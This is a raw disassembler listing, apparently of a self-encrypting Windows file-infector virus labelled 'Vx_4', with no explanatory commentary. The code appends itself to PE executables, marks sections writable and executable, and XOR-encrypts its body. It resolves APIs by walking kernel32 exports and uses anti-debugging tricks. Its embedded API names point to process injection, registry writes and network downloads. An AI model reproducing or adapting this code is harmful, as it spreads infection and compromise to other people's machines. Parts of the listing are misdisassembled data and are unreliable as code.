		jz	short loc_434560


loc_4345C2:				; CODE XREF: sub_43445B+14Aj
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short loc_4345D7
		cmp	byte ptr [ebp+1039B8h],	2
		ja	short loc_434560


loc_4345D7:				; CODE XREF: sub_43445B+171j
		and	dword ptr [ebp+104300h], 0
		call	loc_433855
		call	loc_43432B
		call	sub_43485E
		mov	ebx, [ebp+1042B8h]
		add	ebx, [ebp+1042BCh]
		call	sub_434259
		jz	loc_434855
		mov	esi, [ebp+1042B4h]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_434370
		jb	loc_434855
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	dword ptr [ebp+1039C0h], 20000000h
		jnz	short loc_43464B
		mov	[ebp+104304h], edi
		lea	esi, [ebp+1039CCh]
		mov	ecx, [ebp+101069h]
		rep movsb


loc_43464B:				; CODE XREF: sub_43445B+1DAj
		push	edi
		mov	ecx, 0A73h
		lea	esi, [ebp+101000h]
		rep movsd
		mov	cl, 0
		jecxz	short loc_43465F
		rep movsb


loc_43465F:				; CODE XREF: sub_43445B+200j
		test	dword ptr [ebp+1039C0h], 20000000h
		jz	loc_43471D
		push	dword ptr [ebx+28h]
		call	sub_433414
		mov	edx, [ebp+1042F4h]
		test	edx, edx
		jz	loc_43471D
		mov	esi, [ebp+1042B4h]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_43469C
		xor	ecx, ecx


loc_43469C:				; CODE XREF: sub_43445B+23Dj
		add	esi, [edx+14h]
		cmp	ecx, [ebp+101069h]
		mov	ecx, [ebp+101069h]
		jb	short loc_434703
		mov	edi, [esp+14h+var_14]
		and	dword ptr [ebp+101069h], 0
		and	dword ptr [edi+69h], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, [ebp+1042C8h]
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_4346DC
		neg	dword ptr [eax]


loc_4346DC:				; CODE XREF: sub_43445B+27Dj
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	[ebp+104300h], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_4346FA
		neg	dword ptr [eax]


loc_4346FA:				; CODE XREF: sub_43445B+29Bj
		push	ecx
		call	loc_43432B
		pop	ecx
		jmp	short loc_43470F
; ---------------------------------------------------------------------------


loc_434703:				; CODE XREF: sub_43445B+250j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_43470F:				; CODE XREF: sub_43445B+2A6j
		lea	esi, [ebp+1039CCh]
		mov	[ebp+104304h], edi
		rep movsb


loc_43471D:				; CODE XREF: sub_43445B+20Ej
					; sub_43445B+224j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+137h]
		cmp	dl, [ebp+1039BEh]
		jnz	short loc_434736
		imul	edx, 12345678h


loc_434736:				; CODE XREF: sub_43445B+2D3j
		mov	[eax-19h], dx
		call	sub_432120
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	dword ptr [ebp+1039C0h], 20000000h
		lea	eax, [ecx+5]
		jnz	short loc_434768
		mov	[ebp+104300h], ecx
		add	eax, [ebp+101069h]
		and	dword ptr [edi+69h], 0


loc_434768:				; CODE XREF: sub_43445B+2F8j
		sub	eax, [ebx+28h]
		mov	[edi+54h], eax
		test	dword ptr [ebp+103F7Ch], 1
		jz	short loc_434784
		mov	dword ptr [ebx+8], 0A0A0A0A0h


loc_434784:				; CODE XREF: sub_43445B+320j
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short loc_434797
		push	edx
		call	sub_433EF1
		pop	edx


loc_434797:				; CODE XREF: sub_43445B+333j
		mov	ecx, [ebp+104300h]
		jecxz	short loc_4347A4
		mov	[ebx+28h], ecx
		jmp	short loc_4347B1
; ---------------------------------------------------------------------------


loc_4347A4:				; CODE XREF: sub_43445B+342j
		mov	ecx, [ebp+1042FCh]
		jecxz	short loc_4347AE
		jmp	short loc_4347B1
; ---------------------------------------------------------------------------


loc_4347AE:				; CODE XREF: sub_43445B+34Fj
		mov	ecx, [ebx+28h]


loc_4347B1:				; CODE XREF: sub_43445B+347j
					; sub_43445B+351j
		test	dword ptr [ebp+1039C0h], 3
		jz	short loc_4347D1
		mov	eax, [ebp+104304h]
		add	ecx, [ebp+1042ECh]
		add	eax, [ebp+1042E8h]
		add	[eax], ecx


loc_4347D1:				; CODE XREF: sub_43445B+360j
		mov	ecx, [edx+10h]
		mov	eax, [ebp+1042B8h]
		cmp	[edx+8], ecx
		jnb	short loc_4347E2
		mov	[edx+8], ecx


loc_4347E2:				; CODE XREF: sub_43445B+382j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, [ebp+1042C0h]
		push	29CCh
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+1039BEh]
		test	dword ptr [ebp+1039C0h], 20000000h
		jz	short loc_434813
		add	ecx, [ebp+101069h]


loc_434813:				; CODE XREF: sub_43445B+3B0j
		mov	dh, 0
		test	dword ptr [ebp+1039C0h], 20000h
		jnz	short loc_434835
		inc	dh
		test	dword ptr [ebp+1039C0h], 40000h
		jnz	short loc_434835
		mov	dh, [ebp+1039BFh]


loc_434835:				; CODE XREF: sub_43445B+3C4j
					; sub_43445B+3D2j
		test	dword ptr [ebp+1039C0h], 4000h
		jnz	short loc_43484C


loc_434841:				; CODE XREF: sub_43445B+3EDj
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_434841
		jmp	short loc_434855
; ---------------------------------------------------------------------------


loc_43484C:				; CODE XREF: sub_43445B+3E4j
					; sub_43445B+3F8j
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_43484C


loc_434855:				; CODE XREF: .rsrc:00434456j
					; sub_43445B+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_43445B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43485E	proc near		; CODE XREF: sub_43445B+18Dp
		cmp	dword ptr [ebp+104298h], 0
		jz	locret_43432A
		push	dword ptr [ebp+1042B4h]
		call	dword ptr [ebp+103EEEh]


loc_434877:				; CODE XREF: sub_434259+C5j
		push	dword ptr [ebp+1042B0h]
		call	dword ptr [ebp+103E62h]
		lea	ecx, [ebp+10429Ch]
		lea	edx, [ebp+1042A4h]
		push	ecx
		push	edx
		push	0
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103EE2h]


loc_43489F:				; CODE XREF: sub_434259+6Bj
					; sub_434259+82j ...
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103E62h]


loc_4348AB:				; CODE XREF: sub_434259+45j
		lea	esi, [ebp+104184h]
		push	dword ptr [ebp+104294h]
		push	esi
		call	dword ptr [ebp+103EDEh]
		and	dword ptr [ebp+104298h], 0
		retn
sub_43485E	endp

; ---------------------------------------------------------------------------
		dw 0E8h
		dd 5D000000h, 0ED81016Ah, 1038CBh, 0C10FF058h, 10158885h
		dd 0C3C08500h, 0F0FFC883h, 8885C10Fh, 0C3001015h, 2A00103Dh
		dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h,	575FFFFh
		dd 0FFFAB5E8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h
		dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h,	104184B5h
		dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h
		dd 0FF505200h, 103F2E95h, 8C48300h, 3F5C3E81h, 3755C3Fh
		dd 0E804C683h, 0FFFFFA62h, 0FFFF7FE8h, 0B8C361FFh, 74h
		dd 2FB8B1EBh, 0E8000000h, 1Dh, 0B80020C2h, 30h,	10E8h
		dd 24C200h, 185B8h, 3E800h, 2CC20000h, 24548D00h, 832ECD0Ch
		dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 0A2ED811Ah
		dd 0E8001039h, 0FFFFE0B3h, 4C261h, 7030501h, 2A40602h
		dd 0ACB1447Eh, 145A49E8h, 0FF8B8B00h, 0E860C089h, 0Dh
		dd 0CEE8F9h, 0EB0000h, 3CE9h, 0FF646700h, 89000036h, 42705525h
		dd 89DB8700h, 9000EBC0h, 26896467h, 0DB310000h,	68h, 685380h
		dd 53000100h, 80068h, 2685300h,	53000000h, 0FF535353h
		dd 427F7015h, 0BCD28900h, 2A8CEB46h, 0F5DB87FCh, 58F64h
		dd 5B000000h, 0FEC029F9h, 74C008C8h, 0EBF87504h, 0E8F5F867h
		dd 5Ch,	81FC9090h, 0FFD079EAh, 0B6BF52FFh, 8900002Ah, 0E383FCD2h
		dd 96C38100h, 87000000h, 26E8DBh, 0F5F80000h, 6601C283h
		dd 24C381h, 8901EF83h, 75FF09D2h, 0F5FC5AE8h, 5489DB89h
		dd 0DB891424h, 0D289F861h, 0F9F5E2FFh, 0DB89028Ah, 3166C089h
		dd 0DB87F9D8h, 0DB870286h, 0DB87F9C3h, 0F500EB5Ah, 0F8FCC352h
		dd 1024548Bh, 828FC031h, 0ECh dup(0)
		dd 9B470000h, 8AD7C80h,	3317C83h, 7C91h, 126h dup(0)
		dd 7C800000h, 133Dh dup(0)
		db 89h,	0DBh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	sub_43A01F
		cld
		jmp	short $+2
		call	sub_43A0A6
		cmc
		mov	ebp, 12FFC0h	; DATA XREF: sub_43A01F+Cw
		xchg	ebx, ebx
		jmp	loc_43A044

; =============== S U B	R O U T	I N E =======================================



sub_43A01F	proc near		; CODE XREF: .rsrc:0043A005p
		push	dword ptr fs:0
		mov	fs:0, esp
		mov	dword ptr ds:loc_43A013+1, ebp
		mov	eax, eax
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	ds:dword_427F70	; GetProcAddress


loc_43A044:				; CODE XREF: .rsrc:0043A01Aj
		cmc
		mov	ecx, ecx
		cmc
		call	sub_43A0A2
		stc
		add	edi, 66h
		sub	edx, edx
		xor	edx, 29CCh
		stc
		jmp	short $+2
		stc
		and	esi, 0
		add	esi, 2Ah
		cmc
		clc
		push	edi


loc_43A06C:				; CODE XREF: sub_43A01F+5Ej
		call	sub_43A092
		xchg	ebx, ebx
		cld
		inc	edi
		inc	esi
		sub	edx, 1
		jmp	short $+2
		or	edx, edx
		jnz	short loc_43A06C
		pop	edi
		cmc
		mov	esi, [ebp-8]
		mov	fs:0, esi
		stc
		nop
		leave
		stc
		mov	edx, edx
		jmp	edi
sub_43A01F	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A092	proc near		; CODE XREF: sub_43A01F:loc_43A06Cp
		mov	al, [edi]
		xchg	ebx, ebx
		xor	ax, si
		xchg	al, [edi]
		stc
		mov	ebx, ebx
		xchg	ebx, ebx
		retn
sub_43A092	endp

; ---------------------------------------------------------------------------
		cmc

; =============== S U B	R O U T	I N E =======================================



sub_43A0A2	proc near		; CODE XREF: sub_43A01F+29p
		pop	edi
		cmc
		push	edi
		retn
sub_43A0A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A0A6	proc near		; CODE XREF: .rsrc:0043A00Dp

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_43A0A6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	$+5
		cld
		mov	eax, [esp]
		mov	ecx, [eax+29BBh]
		mov	[eax+3303h], ebx
		and	ecx, 400000h
		mov	ebx, [esp+4]
		jz	short loc_43A100
		pop	ecx
		mov	[eax+3307h], esi
		mov	cl, [eax+29BFh]
		mov	[eax+330Bh], edi
		cmp	cl, 0E8h
		jz	short loc_43A0F4
		mov	ebx, [eax+29C1h]
		jmp	short loc_43A0FE
; ---------------------------------------------------------------------------


loc_43A0F4:				; CODE XREF: .rsrc:0043A0EAj
		mov	ecx, [eax+29C0h]
		mov	ebx, [ecx+ebx+2]


loc_43A0FE:				; CODE XREF: .rsrc:0043A0F2j
		mov	ebx, [ebx]


loc_43A100:				; CODE XREF: .rsrc:0043A0D2j
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 130B7h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+1039CCh]
		mov	ecx, 0
		rep movsb
		sldt	cx
		test	ecx, ecx
		jnz	short loc_43A12E
		or	eax, 0FFFFFFFFh
		int	2Eh		; DOS 2+ internal - EXECUTE COMMAND
					; DS:SI	-> counted CR-terminated command string


loc_43A12E:				; CODE XREF: .rsrc:0043A127j
		and	ebx, 0FFFFF000h


loc_43A134:				; CODE XREF: .rsrc:0043A143j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_43A145


loc_43A13D:				; CODE XREF: .rsrc:0043A152j
		sub	ebx, 100h
		jnz	short loc_43A134


loc_43A145:				; CODE XREF: .rsrc:0043A13Bj
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_43A13D
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_43A15F:				; CODE XREF: .rsrc:loc_43A173j
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_43A173
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_43A178


loc_43A173:				; CODE XREF: .rsrc:0043A168j
		loop	loc_43A15F
		pop	ecx
		jmp	short loc_43A1A3
; ---------------------------------------------------------------------------


loc_43A178:				; CODE XREF: .rsrc:0043A171j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+101137h]
		lea	ecx, [ebp+101120h]
		mov	dx, [eax-19h]
		call	ecx
		jmp	short loc_43A1EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A231


loc_43A1A3:				; CODE XREF: .rsrc:0043A176j
					; sub_43A231+10j ...
		mov	eax, [ebp+1039C0h]
		and	eax, 400000h
		jz	short loc_43A1CF
		lea	esi, [ebp+1039C4h]
		lodsd
		mov	edi, [esp+arg_0]
		stosd
		mov	ebx, [ebp+104308h]
		movsb
		mov	edi, [ebp+104310h]
		mov	esi, [ebp+10430Ch]


loc_43A1CF:				; CODE XREF: sub_43A231-83j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43A231
; ---------------------------------------------------------------------------
		db 0A2h, 0A5h, 53h
; ---------------------------------------------------------------------------
		mov	ecx, 2889h
		mov	ebx, edx


loc_43A1DB:				; CODE XREF: .rsrc:0043A1E6j
		xor	[eax], dl
		sub	dl, bl
		add	eax, 1
		xchg	bl, bh
		xchg	dl, dh
		loop	loc_43A1DB
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43A1EA:				; CODE XREF: .rsrc:0043A1A1j
		call	near ptr loc_43A1F9+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_43A256+3
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_43A1F9:				; CODE XREF: .rsrc:loc_43A1EAp
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+103E62h], eax
		call	near ptr loc_43A215+1
		inc	ebx
		jb	short loc_43A271
		popa
		jz	short near ptr loc_43A273+1
		inc	ebp
		jbe	short near ptr loc_43A273+4
		outsb
		jz	short loc_43A256


loc_43A215:				; CODE XREF: .rsrc:0043A204p
		add	[ebx-1], dl
		setalc
		mov	[ebp+103E66h], eax
		call	sub_43A231
		inc	edi
		db	65h
		jz	short near ptr loc_43A273+1
		popa
		jnb	short near ptr loc_43A29D+2
		inc	ebp
		jb	short near ptr loc_43A29D+3
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_43A231	proc near		; CODE XREF: .rsrc:0043A21Fp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A1A3 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0043A5E7 SIZE 0000000B BYTES

		push	ebx
		call	esi
		mov	[ebp+103E6Ah], eax
		call	sub_43A612
		test	eax, eax
		jz	loc_43A1A3
		push	eax
		call	dword ptr [ebp+103E6Ah]
		test	eax, eax
		jnz	loc_43A5E7


loc_43A256:				; CODE XREF: .rsrc:0043A213j
					; .rsrc:0043A1F2j
		cmp	byte ptr [ebp+10153Fh],	1
		jnz	short loc_43A273
		push	dword ptr [ebp+104308h]
		dec	byte ptr [ebp+10153Fh]
		pop	dword ptr [ebp+101598h]


loc_43A271:				; CODE XREF: .rsrc:0043A20Aj
		jmp	short loc_43A27A
; ---------------------------------------------------------------------------


loc_43A273:				; CODE XREF: sub_43A231+2Cj
					; .rsrc:0043A20Dj ...
		and	dword ptr [ebp+101598h], 0


loc_43A27A:				; CODE XREF: sub_43A231:loc_43A271j
		and	dword ptr [ebp+101588h], 0
		and	dword ptr [ebp+10158Ch], 0
		and	dword ptr [ebp+101590h], 0
		push	edi
		mov	byte ptr [ebp+1012D4h],	1
		mov	[ebp+103E6Eh], esi


loc_43A29D:				; CODE XREF: .rsrc:0043A229j
					; .rsrc:0043A22Cj
		lea	esi, [ebp+101604h]
		xor	ecx, ecx
		lea	edi, [ebp+103E7Ah]
		mov	cl, 20h
		call	sub_43A64F
		pop	edi
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jz	loc_43A396
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+103E72h], eax
		push	7328h
		push	0
		call	dword ptr [ebp+103EF2h]
		test	eax, eax
		jz	loc_43A5E7
		xchg	eax, edi
		lea	esi, [ebp+101000h]
		mov	ebp, edi
		mov	ecx, 0CCAh
		sub	ebp, 101000h
		lea	edx, [ebp+101254h]
		rep movsd
		jmp	edx
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+101B4Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+103E72h]
		add	esp, 20h
		test	eax, eax
		jz	loc_43A5E7
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+103E72h]
		test	eax, eax
		jz	loc_43A5E7
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+103E72h]
		push	1000Ah
		call	dword ptr [ebp+103E72h]
		call	loc_43A386
		jmp	loc_43A5E7
; ---------------------------------------------------------------------------


loc_43A386:				; CODE XREF: sub_43A231+14Bp
					; sub_43A231+162j
		push	0
		pop	ecx
		jecxz	short locret_43A395
		push	0Ah
		call	dword ptr [ebp+103EE6h]
		jmp	short loc_43A386
; ---------------------------------------------------------------------------

locret_43A395:				; CODE XREF: sub_43A231+158j
		retn
; ---------------------------------------------------------------------------


loc_43A396:				; CODE XREF: sub_43A231+8Bj
		cmp	dword ptr [ebp+103E92h], 0
		jz	loc_43A5E7
		call	near ptr loc_43A3AD+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_43A3AD:				; CODE XREF: sub_43A231+172p
		add	bh, bh
sub_43A231	endp ; sp-analysis failed

		xchg	eax, ebp
		scasb
		db	3Eh
		adc	[eax], al
		lea	esi, [ebp+1017DEh]
		xor	ecx, ecx
		lea	edi, [ebp+103EFAh]
		mov	cl, 0Eh
		xchg	eax, ebx
		call	sub_43A64F
		cmp	dword ptr [ebp+103F2Eh], 0
		jz	loc_43A5E7
		mov	eax, [ebp+103EFEh]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103917h]
		mov	eax, [ebp+103F16h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103964h]
		mov	eax, [ebp+103F02h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+10396Bh]
		cmp	dword ptr [ebp+10396Bh], 10000h
		jnb	loc_43A5E7
		mov	ecx, [ebp+103F06h]
		jecxz	short loc_43A436
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103978h]
		mov	ecx, [ebp+103F0Eh]
		jecxz	short loc_43A436
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103985h]


loc_43A436:				; CODE XREF: .rsrc:0043A41Aj
					; .rsrc:0043A42Bj
		call	sub_43A5F3
		lea	edi, [ebp+103F84h]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+1015EBh]
		mov	ecx, 19h
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah
		lea	edx, [ebp+103E30h]


loc_43A47F:				; CODE XREF: .rsrc:0043A488j
		lodsb
		mov	[edx], ax
		stosw
		add	edx, 2
		loop	loc_43A47F
		mov	edx, esp
		push	0
		push	7328h
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+103F0Ah]
		pop	eax
		add	esp, 40h
		push	7328h
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	7328h
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+103F12h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_43A5E7
		lea	esi, [ebp+101000h]
		mov	ecx, 0CCAh
		mov	ebp, edi
		rep movsd
		sub	ebp, 101000h
		lea	eax, [ebp+10144Ah]
		jmp	eax
; ---------------------------------------------------------------------------
		db 50h,	54h, 6Ah
		dd 0FFFF6A20h, 103F1A95h, 5FC08500h, 4FE83475h,	0E8000001h
		dd 11h,	65446553h, 50677562h, 69766972h, 6567656Ch, 50E85700h
		dd 0FF000005h, 104288B5h, 9E95FF00h, 5700103Eh,	3E6295FFh
		dd 6A0010h, 95FF026Ah, 103E92h,	128B9h,	0E12B9700h, 54240C89h
		dd 0D695FF57h, 3300103Eh, 72A583F6h, 103Fh, 95FF5754h
		dd 103EDAh, 6674C085h, 4FE8346h, 74FFEE72h, 6A0824h, 95FF2A6Ah
		dd 103ED2h, 0DC74C085h,	588E893h, 0C9330000h, 393AE391h
		dd 103F7285h, 81327500h, 6324247Ch, 74737273h, 0AFC18128h
		dd 5000000Eh, 51565054h, 0FF535050h, 103E8A95h,	59C08500h
		dd 74FF0F74h, 858F0824h, 103F72h, 0FFFDB5E8h, 95FF53FFh
		dd 103E62h, 0C4818EEBh,	128h, 6295FF57h
		db 3Eh,	10h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A231


loc_43A5E7:				; CODE XREF: sub_43A231+1Fj
					; sub_43A231+B2j ...
		call	dword ptr [ebp+103E62h]
		jmp	loc_43A1A3
; END OF FUNCTION CHUNK	FOR sub_43A231
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43A5F3	proc near		; CODE XREF: .rsrc:loc_43A436p
					; sub_43A612+2p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
		mov	eax, esp
		push	0
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
sub_43A5F3	endp

; ---------------------------------------------------------------------------
aVx_4_1		db 'Vx_4',0
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_43A612	proc near		; CODE XREF: sub_43A231+9p
					; .rsrc:loc_43B00Dp
		xor	ecx, ecx
		call	sub_43A5F3
		lea	edx, [ebp+101559h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+103E66h]
		add	esp, 20h
		retn
sub_43A612	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
		db 58h
		dd 28005858h, 73000033h, 100000Eh, 2 dup(0)
		dd 0C0000000h, 29h
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43A64F	proc near		; CODE XREF: sub_43A231+7Cp
					; .rsrc:0043A3C5p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+103E6Eh]
		stosd
		pop	ecx


loc_43A65A:				; CODE XREF: sub_43A64F+Ej
		lodsb
		test	al, al
		jnz	short loc_43A65A
		loop	sub_43A64F
		retn
sub_43A64F	endp

; ---------------------------------------------------------------------------
		dw 958Dh
		dd 101985h, 0C695FF52h,	8900103Eh, 10428885h, 16E800h
		dd 6F4C0000h, 70756B6Fh, 76697250h, 67656C69h, 6C615665h
		dd 416575h, 6E95FF50h, 8900103Eh, 10428C85h, 425CC300h
		dd 4E657361h, 64656D61h, 656A624Fh, 5C737463h, 65537456h
		dd 6C007463h, 6C727473h, 43006E65h, 74616572h, 6C694665h
		dd 43004165h, 74616572h, 6C694665h, 70614D65h, 676E6970h
		dd 72430041h, 65746165h, 636F7250h, 41737365h, 65724300h
		dd 52657461h, 746F6D65h, 72685465h, 646165h, 61657243h
		dd 68546574h, 64616572h, 65724300h, 54657461h, 686C6F6Fh
		dd 33706C65h, 616E5332h, 6F687370h, 78450074h, 68547469h
		dd 64616572h, 6C694600h, 6D695465h, 536F5465h, 65747379h
		dd 6D69546Dh, 72460065h, 694C6565h, 72617262h, 65470079h
		dd 6C694674h, 74744165h, 75626972h, 41736574h, 74654700h
		dd 656C6946h, 657A6953h, 74654700h, 656C6946h, 656D6954h
		dd 74654700h, 75646F4Dh, 6148656Ch, 656C646Eh, 65470041h
		dd 6D655474h, 6C694670h, 6D614E65h, 47004165h, 65547465h
		dd 6150706Dh, 416874h, 56746547h, 69737265h, 47006E6Fh
		dd 65567465h, 6F697372h, 4178456Eh, 74654700h, 756C6F56h
		dd 6E49656Dh, 6D726F66h, 6F697461h, 4C00416Eh, 4C64616Fh
		dd 61726269h, 417972h, 5670614Dh, 4F776569h, 6C694666h
		dd 704F0065h, 69466E65h, 614D656Ch, 6E697070h, 4F004167h
		dd 506E6570h, 65636F72h, 50007373h, 65636F72h, 32337373h
		dd 73726946h, 72500074h, 7365636Fh, 4E323373h, 747865h
		dd 46746553h, 41656C69h, 69727474h, 65747562h, 53004173h
		dd 69467465h, 6954656Ch, 5300656Dh, 7065656Ch, 73795300h
		dd 546D6574h, 54656D69h, 6C69466Fh, 6D695465h, 6E550065h
		dd 5670616Dh, 4F776569h, 6C694666h, 69560065h, 61757472h
		dd 6C6C416Ch, 5700636Fh, 65746972h, 656C6946h, 41744E00h
		dd 73756A64h, 69725074h, 656C6976h, 54736567h, 6E656B6Fh
		dd 43744E00h, 74616572h, 6C694665h, 744E0065h, 61657243h
		dd 72506574h, 7365636Fh, 744E0073h, 61657243h, 72506574h
		dd 7365636Fh, 784573h, 7243744Eh, 65746165h, 74636553h
		dd 6E6F69h, 7243744Eh, 65746165h, 72657355h, 636F7250h
		dd 737365h, 614D744Eh, 65695670h, 53664F77h, 69746365h
		dd 4E006E6Fh, 65704F74h, 6C69466Eh, 744E0065h, 6E65704Fh
		dd 636F7250h, 54737365h, 6E656B6Fh, 4F744E00h, 536E6570h
		dd 69746365h, 4E006E6Fh, 6F725074h, 74636574h, 74726956h
		dd 4D6C6175h, 726F6D65h, 744E0079h, 72657551h, 666E4979h
		dd 616D726Fh, 6E6F6974h, 656B6F54h, 744E006Eh, 74697257h
		dd 72695665h, 6C617574h, 6F6D654Dh, 52007972h, 6E556C74h
		dd 646F6369h, 72745365h, 54676E69h, 736E416Fh, 72745369h
		dd 676E69h, 53415357h, 74726174h, 63007075h, 65736F6Ch
		dd 6B636F73h, 63007465h, 656E6E6Fh, 67007463h, 6F687465h
		dd 79627473h, 656D616Eh, 63657200h, 65730076h, 7300646Eh
		dd 656B636Fh, 6E490074h, 6E726574h, 6C437465h, 4865736Fh
		dd 6C646E61h, 6E490065h, 6E726574h, 65477465h, 6E6F4374h
		dd 7463656Eh, 74536465h, 657461h, 65746E49h, 74656E72h
		dd 6E65704Fh, 6E490041h, 6E726574h, 704F7465h, 72556E65h
		dd 4900416Ch, 7265746Eh, 5274656Eh, 46646165h, 656C69h
		dd 41564441h, 32334950h, 4C4C442Eh, 67655200h, 736F6C43h
		dd 79654B65h, 67655200h, 6E65704Fh, 4579654Bh, 52004178h
		dd 75516765h, 56797265h, 65756C61h, 417845h, 53676552h
		dd 61567465h, 4565756Ch, 56004178h, 26AF633h, 0D48B5656h
		dd 0FF52016Ah, 0FF561872h, 10428C95h, 56C48B00h, 56505656h
		dd 0FF1870FFh, 103EFA95h, 10C48300h, 8C25Eh, 2BFB498Dh
		dd 6851C8h, 8DE80000h, 6A03244Ch, 51056A00h, 56A5350h
		dd 8B50CC8Bh, 6A5450D4h, 53525140h, 3F2295FFh, 0C4830010h
		dd 2A95FF0Ch, 8300103Fh, 8DC308C4h, 103E3095h, 6AC93300h
		dd 30685200h, 8B003200h, 6A5151C4h, 6A515040h, 8C08318h
		dd 500E6A54h, 3F1E95FFh, 0C4830010h, 85D23320h,	0C2990FC0h
